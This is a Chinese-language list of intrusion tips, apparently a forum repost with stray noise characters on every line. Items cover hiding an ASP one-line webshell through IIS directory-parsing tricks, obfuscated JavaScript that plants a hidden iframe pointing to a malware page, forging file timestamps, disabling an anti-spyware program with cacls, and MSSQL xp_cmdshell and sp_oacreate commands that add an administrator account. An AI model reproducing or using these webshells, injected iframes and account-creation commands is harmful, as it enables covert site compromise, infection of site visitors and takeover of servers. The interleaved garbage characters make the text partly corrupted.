& W6 o0 {9 i: a# K7 K1 ~用AT这个命令以交互的方式运行cmd.exe 这样运行的cmd.exe是system权限。1 R3 Z y6 e8 Y2 l6 N' a% B) V
& x0 T( M- f$ W$ G5 N8 z2 }' a53、隐藏ASP后门的两种方法
6 N. A) [) }) ~1、建立非标准目录:mkdir images..\
8 h/ ^7 N3 A% ?7 R: W( H$ d3 Q, u- T拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
$ B c' W h7 ~8 Y$ h/ ?通过web访问ASP木马:http://ip/images../news.asp?action=login6 R0 N: {3 r: j: h5 Z& v( ]) L* e
如何删除非标准目录:rmdir images..\ /s
; h1 H1 r, P* ^. ]# f b2、Windows中的IIS会对以.asp结尾的目录中的文件进行解析,以达到我们隐藏自己的网页后门的目的:
* _, K. C& j3 w+ ]; s7 b+ ymkdir programme.asp
- J% x1 v+ }4 p新建1.txt文件内容:<!--#include file=”12.jpg”-->
5 U6 ^+ }/ z j$ ^2 V新建12.jpg文件内容:<%execute(request("l"))%> 或使用GIF与ASP合并后的文件
. w, R3 R7 Z2 f. O: `, cattrib +H +S programme.asp
) _5 I% [- W, r) R% \通过web访问ASP一句话木马:http://ip/images/programme.asp/1.txt" l4 Q2 y6 @% R3 ^) q
0 J0 F1 U% j( B' X: E+ P54、attrib /d /s c:\windows +h +s,后windows目录变为隐藏+系统,隐藏属性为灰不可更改,windows目录下面的文件和目录并没有继承属性,原来是什么样还是什么样。
! k2 H; |0 V4 a9 Y/ ^4 M( u然后在利用attrib /d /s c:\windows -h -s,windows目录可以显示,隐藏属性可以再次选中。# W& R; S5 {& q$ N g. f2 o
- L8 N2 ~4 E6 W# w: P. ?) g& Q55、JS隐蔽挂马/ v7 m$ L7 p& Z
1.
& k* q9 U0 i: } k) R6 Mvar tr4c3="<iframe src=ht";
9 M ~8 p- s, @ Z) Y$ Etr4c3 = tr4c3+"tp:/";1 }$ Q. G; e" a! L6 U
tr4c3 = tr4c3+"/ww";
3 F; ]* ?/ u2 }3 Xtr4c3 = tr4c3+"w.tr4";6 m+ M7 e9 \+ b/ j' J6 T/ b5 E) d
tr4c3 = tr4c3+"c3.com/inc/m";
1 y5 H: c6 X+ g0 o! X, U! ^tr4c3 = tr4c3+"m.htm style="display:none"></i";+ d; q+ x- U9 O
tr4c3 =tr4c3+"frame>'";7 @, {& N- \; H6 Y
document.write(tr4c3);" z4 f; t& g* X7 t3 u$ }+ U7 n
避免被管理员搜索网马地址找出来。把变量名定义的和网站本身的接近些,混淆度增加。
0 @. ]4 S( R' @0 `2 R& D- V# `: }+ m2 {! N( e$ z/ W8 r7 r
2.
8 |8 Z4 V& S4 N转换进制,然后用EVAL执行。如
6 N" e; [1 @. Z( ieval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\40\50\42\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\167\167\167\56\164\162\64\143\63\56\143\157\155\57\151\156\143\57\155\155\56\150\164\155\40\163\164\171\154\145\75\42\42\144\151\163\160\154\141\171\72\156\157\156\145\42\42\76\74\57\151\146\162\141\155\145\76\42\51\73");
2 i" K4 E' O: Z! X b- x" |不过这个有点显眼。
5 h- d0 @8 k, U- M+ X- _7 M3." F% B1 ^( L4 m. o; [# H/ r
document.write ('<iframe src=http://www.tr4c3.com/inc/mm.htm style="display:none"></iframe>'); Z! B! j% K/ }
最后一点,别忘了把文件的时间也修改下。
- b& ~" O8 S- I8 @0 P; j# q# h! ~+ }& e; y& s) m2 s
56.3389终端入侵常用DOS命令, I1 i/ k' ~: g4 }2 E1 p
taskkill taskkill /PID 1248 /t, ^$ J, b& t( G6 r5 Y- _8 ?' l4 T
9 s4 D0 \) j! b! C' a$ H
tasklist 查进程
" y) A; {6 f7 f/ H3 B5 N
4 E& x5 x, e* vcacls "C:\Program Files\ewido anti-spyware 4.0\guard.exe" /d:everyone 改、降低某文件权限
4 a, Q; q2 ?. G* N, q% U# g7 diisreset /reboot
" e! n( i% A# o4 vtsshutdn /reboot /delay:1 重起服务器
9 B. N- y$ R) ^% A' F' Z' w7 G e9 H2 x, j2 D) Y
logoff 12 要使用会话 ID(例如,会话 12)从会话中注销用户,
( O- I" _9 S6 L$ g, C5 R* h3 J9 w0 \' n: E% U f% c" e
query user 查看当前终端用户在线情况
% t1 [3 y7 j; h6 I. V4 K8 X j1 n$ p" C7 j" W) K
要显示有关所有会话使用的进程的信息,请键入:query process *
I) Q4 H. c# C
. p( A5 t' c% T5 i要显示有关会话 ID 2 使用的进程的信息,请键入:query process /ID:2) N1 G3 q$ d$ l p; c
6 y& g, P& e; E+ [, p, G7 F* l
要显示有关服务器 SERVER2 上所有活动会话的信息,请键入:query session /server:SERVER2
: n8 i) G0 m* D3 g: y, V" s& U3 f
要显示有关当前会话 MODEM02 的信息,请键入:query session MODEM02: b6 V( w2 {+ ^; K' R& B+ ?
& _0 S, m3 k1 M% ]% P命令列:rundll32.exe user.exe,restartwindows 功能: 系统重启! J2 p# |! d% S" x8 T# y* k
/ Y# w' X# J6 m, L
命令列:rundll32.exe user.exe,exitwindows 功能: 关闭系统
; n; Q- s+ K- ]4 { x5 u9 r4 W- a4 n) c t/ `
命令列: rundll32.exe user.exe,restartwindows 功能: 强行关闭所有程式并重启机器。7 ~) B7 n2 }' N4 z
/ {4 P( B; f, Z: c$ j& l
命令列: rundll32.exe user.exe,exitwindows 功能: 强行关闭所有程式并关机1 s+ v/ w+ ]: @- K' O# X; T
. B" V& T+ `$ l8 W
56、在地址栏或按Ctrl+O,输入:
( w0 R! J) H9 @* s* ]javascript:s=document.documentElement.outerHTML;document.write('<body></body>');document.body.innerText=s;9 m& G( T. \1 T5 F4 X, `
4 c& A: G. X8 z: X$ S0 t源代码就出来了。不论加密如何复杂,最终都要还原成浏览器可以解析的html代码,而documentElement.outerHTML正是最终的结果。) {$ i( L% s9 R" q
* g2 C9 W- J1 b7 o# u
57、net user的时候,是不能显示加$的用户,但是如果不处理的话,
0 J( |6 D4 E* w4 o6 d9 a用net localgroup administrators是可以看到管理组下,加了$的用户的。/ w7 b& x9 V( i0 ?6 u& x
# g& Z5 `3 {. h! D. `% M, O- I
58、 sa弱口令相关命令 S7 `) V* D8 i' x
9 j7 @% R/ I6 e
一.更改sa口令方法:9 h8 _2 D/ t; [5 H, X1 c7 g
用sql综合利用工具连接后,执行命令:
5 n1 L& M0 }6 }+ `exec sp_password NULL,'20001001','sa'
9 n, A5 X6 Y# {' |8 `(提示:慎用!)
3 `# I. C9 ~- V% u% h% E0 ~" }. E+ ?; c5 R. i0 K5 n0 d
二.简单修补sa弱口令.
7 w& z$ X" h' `) F& g$ }% a. U' ]$ V. ? U7 s- \- \% r" H- f
方法1:查询分离器连接后执行:1 k% |2 Q4 b% {5 G* |
if exists (select * from
6 z1 R5 Z' D2 ~0 R4 [: H0 Odbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
1 t ?1 e; z5 o' E) W. u rOBJECTPROPERTY(id, N'IsExtendedProc') = 1)
' [) F) d1 z; F ^7 W
' Z! ~3 V- w: d/ n9 ]" F Zexec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
0 [6 c) y4 b$ o; O9 b9 ] f1 r- k. \3 o9 m6 R/ f) R
GO( U( | D, K+ z: n& V
8 c# G7 A6 @6 T/ i9 B
然后按F5键命令执行完毕
( ^. U* q7 G% N1 z* k: ?) o( q: V, d" g
方法2:查询分离器连接后
4 v5 o$ {: Y' I第一步执行:use master
( e C) ?. R! I S6 s第二步执行:sp_dropextendedproc 'xp_cmdshell'
& }) E) {0 n& Y. j Y* N然后按F5键命令执行完毕: _. H) _) W( m4 c
! O# L( Y+ D% o
# ^# |5 E g0 G( a+ U
三.常见情况恢复执行xp_cmdshell.
4 R& L/ B$ N- R0 i# C9 E& Z: g, j+ S+ G5 i: C' p3 O
2 ~/ i7 l# ~9 o; p1 G1 未能找到存储过程'master..xpcmdshell'.; d; r- j9 V* r' w( i# {3 k
恢复方法:查询分离器连接后,% T; N, N; \6 }* \. y8 O
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int9 u( F3 E3 {" P( Q# w( V. t
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'% u" j c: z( T' B6 k/ ]6 c4 a5 Q
然后按F5键命令执行完毕8 M7 r/ m# F3 l2 s% [( F
M+ d& ? R) }$ M1 ]* e2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)4 { m/ W$ c: U/ H8 f9 G
恢复方法:查询分离器连接后,
5 j& ?* Y: O, {* o) m第一步执行:sp_dropextendedproc "xp_cmdshell"
: K) T8 Y0 ~- V8 k7 B7 U( l第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'6 F( [( ?3 q v i9 }2 P
然后按F5键命令执行完毕
6 x0 D- o r' E; N
5 |# i, f2 k: r7 e* B3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
, e, O9 |* D+ r恢复方法:查询分离器连接后,
m& g' F6 s* {$ x第一步执行:exec sp_dropextendedproc 'xp_cmdshell'; }6 C) ?. U5 |* `+ z
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
! D% E+ z- M3 o% x3 ~6 m( g' g然后按F5键命令执行完毕) q7 [7 w2 ~( q3 h& R
1 ^/ M) h& e4 F7 D
四.终极方法.
$ y; W ~# W) ` s) g: L如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:) d0 J' e% q4 Y. M, Q' S' J# Y
查询分离器连接后,3 `5 |9 s k# [+ H# q/ }
2000servser系统:
/ }8 ]- N/ s& |, {; W. |: adeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 用户名 密码 /add': h- `+ L2 K$ P. l) T9 U/ q
3 \, b0 x+ ]5 g; \5 u0 s
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 用户名 /add'
* N* j0 [- T( b
+ p. g# \- J) r. b4 F, M' hxp或2003server系统:
# U* D( Q' C% }# W
% n1 }. j8 y# E. [9 x" y% Edeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add'
& P1 O+ h( H! S6 f7 M4 Y$ Y
, M5 P) Z2 l) ]* H9 Kdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add'
$ U' g2 }& ? V: ]2 C+ D |